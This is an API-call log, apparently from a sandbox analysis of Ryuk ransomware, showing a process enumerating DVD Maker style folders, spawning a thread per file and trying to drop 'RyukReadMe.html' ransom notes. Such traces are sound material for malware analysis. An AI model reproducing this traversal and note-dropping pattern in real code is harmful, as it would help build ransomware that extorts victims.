	[0183.755] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0183.755] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x76, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0183.755] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0183.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe20
	[0183.758] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0183.759] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff493d1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff493d1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f29d477, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x76, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1
	[0183.759] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0183.760] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe24
	[0183.762] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0183.762] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f92909f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0183.762] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0183.763] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe28
	[0183.766] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0183.766] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffe1945, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffe1945, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0183.766] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0183.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe2c
	[0183.769] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0183.769] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0183.769] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0183.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe30
	[0183.772] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0183.773] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff9568b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff9568b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0183.773] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0183.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe34
	[0183.776] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0183.776] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff6f52e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff6f52e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0183.777] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0183.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe38
	[0183.779] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0183.780] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffbb7e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffbb7e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0183.780] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0183.780] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe3c
	[0183.782] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0183.783] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x76, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 1
	[0183.783] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0183.784] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe40
	[0183.785] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0183.785] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x76, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 0
	[0183.786] FindClose (in: hFindFile=0x7a460 | out: hFindFile=0x7a460) returned 1
	[0183.788] SetLastError (dwErrCode=0x0) 
	[0183.788] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0183.799] GetLastError () returned 0x5
	[0183.799] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0183.800] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0183.800] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="SpecialOccasion", cAlternateFileName="SPECIA~1")) returned 1
	[0183.800] SetLastError (dwErrCode=0x0) 
	[0183.800] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0183.800] GetLastError () returned 0x5
	[0183.800] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0183.800] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0183.800] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a460
	[0183.805] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0183.805] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f446eef, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f446eef, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x76, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0183.805] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0183.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe44
	[0183.808] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0183.809] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4df463, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4df463, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xca59, dwReserved0=0x76, dwReserved1=0x0, cFileName="mainscroll.png", cAlternateFileName="")) returned 1
	[0183.809] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0183.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe48
	[0183.811] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0183.811] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5e9dee, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5e9dee, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0183.811] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0183.812] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe4c
	[0183.813] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0183.814] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc95011, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0183.814] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0183.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe50
	[0183.817] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0183.818] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0183.818] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0183.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe54
	[0183.820] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0183.820] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6360a8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6360a8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0183.820] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0183.821] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe58
	[0183.823] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0183.824] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0183.824] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0183.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe5c
	[0183.827] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0183.827] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0183.827] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0183.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe60
	[0184.051] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0184.227] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f52b71d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f52b71d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x17719, dwReserved0=0x76, dwReserved1=0x0, cFileName="scenesscroll.png", cAlternateFileName="")) returned 1
	[0184.227] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0184.228] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd04
	[0184.229] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0184.230] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5055c0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5055c0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb30, dwReserved0=0x76, dwReserved1=0x0, cFileName="specialmainsubpicture.png", cAlternateFileName="")) returned 1
	[0184.230] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0184.230] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd90
	[0184.233] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0184.233] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x76, dwReserved1=0x0, cFileName="SpecialNavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0184.233] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0184.234] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdcc
	[0184.235] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0184.236] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd6, dwReserved0=0x76, dwReserved1=0x0, cFileName="SpecialNavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0184.236] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0184.236] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdd4
	[0184.238] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0184.239] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x76, dwReserved1=0x0, cFileName="SpecialNavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0184.239] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0184.240] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc5d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdd0
